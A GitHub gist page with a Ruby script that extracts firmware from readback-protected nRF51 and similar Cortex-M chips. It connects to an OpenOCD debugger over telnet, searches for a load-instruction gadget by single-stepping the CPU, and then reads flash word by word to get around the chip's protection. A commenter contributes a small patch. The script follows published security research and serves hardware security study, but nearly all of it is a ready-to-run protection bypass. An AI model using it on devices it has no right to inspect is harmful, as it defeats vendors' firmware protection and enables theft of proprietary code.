Skip to content

Instantly share code, notes, and snippets.

@jacobrosenthal
Last active September 19, 2020 23:17
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save jacobrosenthal/6187c1b822e2f3bbec63bede6a1a0e92 to your computer and use it in GitHub Desktop.
Save jacobrosenthal/6187c1b822e2f3bbec63bede6a1a0e92 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# Dump firmware from nrf51 and maybe other cortex-m devices
# The script thats missing from http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html
# Also inspired by https://tasteless.eu/post/2015/12/32c3ctf-emb400/
# Requires seperate instace gdb server already running, for my jlink I use
# openocd -f interface/jlink.cfg -c "adapter_khz 2000; transport select swd;" -f target/nrf51.cfg
# uicr and ficr are always accessible so you might want to dump those externally and compare?
# openocd -f interface/jlink.cfg -c "adapter_khz 2000; transport select swd; set WORKAREASIZE 0;" -f target/nrf51.cfg -c "init; reset halt; flash read_bank 1 uicr-normal.bin 0x0 0x100; exit"
# ./dump_nrf51.rb -ouicr.bin -b0x10001000 -e0x10001100
# cmp uicr.bin uicr-normal.bin
require 'net/telnet'
require 'optparse'
require 'pp'
class OptparseExample
Version = '0.0.1'
class ScriptOptions
attr_accessor :outfile, :register, :host, :port,
:gadget, :start, :end, :force
def initialize
self.outfile = nil
self.register = nil
self.host = "localhost"
self.port = "4444"
self.gadget = nil
self.start = 0x0
self.end = 0x40000
self.force = false
end
def define_options(parser)
parser.banner = "Usage: dump.rb [options]"
parser.separator ""
parser.separator "Specific options:"
# add additional options
parser.on("-o", "--outfile [FILENAME]", String, "Out filename (required)") do |input|
self.outfile = input
end
parser.on("-d", "--debugger [HOST]", String, "Debugger host (default localhost)") do |input|
self.host = input
end
parser.on("-p", "--port [PORT]", String, "Debugger port (default 4444)") do |input|
self.port = input
end
parser.on("-r", "--register [REGISTER]", String, "Register to operate on (required if gadget provided)") do |input|
self.register = input
end
parser.on("-g", "--gadget [HEX]", String,
"Gadget address (required if register provided") do |input|
self.gadget = input.hex
end
parser.on("-b", "--begin [HEX]", String,
"Start register address (default 0x0)") do |input|
self.start = input.hex
end
parser.on("-e", "--end [HEX]", String,
"End register address (default 0x00040000)") do |input|
self.end = input.hex
end
parser.on("-f", "--force", "Force even if nrf51 isn't write protected") do |input|
self.force = true
end
parser.separator ""
parser.separator "Common options:"
# No argument, shows at tail. This will print an options summary.
# Try it and see!
parser.on_tail("-h", "--help", "Show this message") do
puts parser
exit
end
# Another typical switch to print the version.
parser.on_tail("-v", "--version", "Show version") do
puts Version
exit
end
end
end
#
# Return a structure describing the options.
#
def parse(args)
# The options specified on the command line will be collected in
# *options*.
@options = ScriptOptions.new
@args = OptionParser.new do |parser|
@options.define_options(parser)
parser.parse!(args)
fail "Command line option outfile -o not provided, use -h to see options" unless options.outfile
end
@options
end
attr_reader :parser, :options
end # class OptparseExample
def check_assembly(instruction)
one = instruction & 0xff
two = instruction >> 8 & 0xff
three = instruction >> 16 & 0xff
four = instruction >> 24 & 0xff
value = `printf "\\x#{one.to_s(16)}\\x#{two.to_s(16)}\\x#{three.to_s(16)}\\x#{four.to_s(16)}" > /tmp/armcode`
value = `arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode`
value = value.tr('[','')
value = value.tr(']','')
value = value.tr(',','')
for x in value.split("\n")
if x.include? "ldr"
if x.include? "#0"
y = x.split(" ")
if y.length == 6 && y[3] == y[4]
return y[3]
end
end
end
end
return nil
end
def check_registers(debug)
response = debug.cmd("reg")
# puts response
registers = response.scan(/: 0x([0-9a-fA-F]{8})/).flatten
# puts registers
#check registers for ldr instruction
((0)...(13)).each do |i|
value = registers[i].to_i 16
# puts "r#{i} is 0x#{value.to_s(16)}"
check = check_assembly(value)
if check
return check
end
end
return nil
end
#set registers to a value
def set_registers(debug, value)
((0)...(12)).each do |i|
# puts "setting r#{i} 0x#{value.to_s}"
debug.cmd("reg r#{i} 0x#{value.to_s(16)}")
end
# puts "setting sp 0x#{value.to_s}"
debug.cmd("reg sp 0x#{value.to_s(16)}")
end
def get_register(debug, register)
response = debug.cmd("reg #{register}")
# puts response
return response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
end
def get_gadget(debug)
debug.cmd("reset halt")
pc = get_register(debug, "pc")
register = nil
#arbitrary end
((0)...(10000)).each do |i|
debug.cmd("reset halt")
# puts "pc: 0x#{pc.to_s(16)}"
debug.cmd("reg pc 0x#{pc.to_s(16)}")
# puts "set_registers"
set_registers(debug, pc)
# puts "step"
debug.cmd("step")
# puts "check_registers"
register = check_registers(debug)
if register
# puts "found #{register}"
break
end
pc = pc+2
end
return pc, register
end
def dump(debug, options)
dumpfile = File.open(options.outfile, "w")
puts "address value"
((options.start/4)...(options.end)/4).each do |i|
address = i * 4
debug.cmd("reset halt")
debug.cmd("reg pc 0x#{options.gadget.to_s 16}")
debug.cmd("reg #{options.register} 0x#{address.to_s 16}")
debug.cmd("step")
response = debug.cmd("reg #{options.register}")
value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
dumpfile.write([value].pack("V"))
puts "0x%08x 0x%08x" % [address, value]
end
dumpfile.close
end
def check_protect(debug)
response = debug.cmd("mdw 0x10001004")
return (response.include? "ffff00ff" or response.include? "ffffff00")
end
example = OptparseExample.new
options = example.parse(ARGV)
debug = Net::Telnet::new("Host" => options.host,
"Port" => options.port)
if not check_protect(debug) and not options.force
fail "Chip isn't protected, you can read back firmware much faster than this, or force with -f"
end
if not options.gadget or not options.register
puts "Gadget and register not provided, searching"
gadget, register = get_gadget(debug)
# puts gadget, register
if register == nil
fail "Gadget not found with inbuilt algorithm, provide -g and -r"
else
puts "Found gadget 0x#{gadget.to_s 16} at #{register}"
options.gadget = gadget
options.register = register
end
end
puts "Dumping firmware from #{options.start.to_s 16} to #{options.end.to_s 16} to #{options.outfile}"
dump(debug, options)
debug.close
@floe
Copy link

floe commented Jun 23, 2017

Very nice! Had to make a few tweaks, the binary printf hack simply wouldn't work for me, so I directly wrote a binary file from Ruby:

--- a/dump_nrf51.rb
+++ b/dump_nrf51.rb
@@ -118,7 +118,11 @@ def check_assembly(instruction)
   three = instruction >> 16 & 0xff
   four = instruction >> 24 & 0xff
 
-  value = `printf "\\x#{one.to_s(16)}\\x#{two.to_s(16)}\\x#{three.to_s(16)}\\x#{four.to_s(16)}" > /tmp/armcode`
+  arr = [one, two, three, four]
+
+  File.open("/tmp/armcode", "wb") do |output|
+    output.write arr.pack("C*")
+  end
   value = `arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode`
 
   value = value.tr('[','')

Apparently gists don't support pull requests, maybe you want to integrate that anyway.

Florian

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment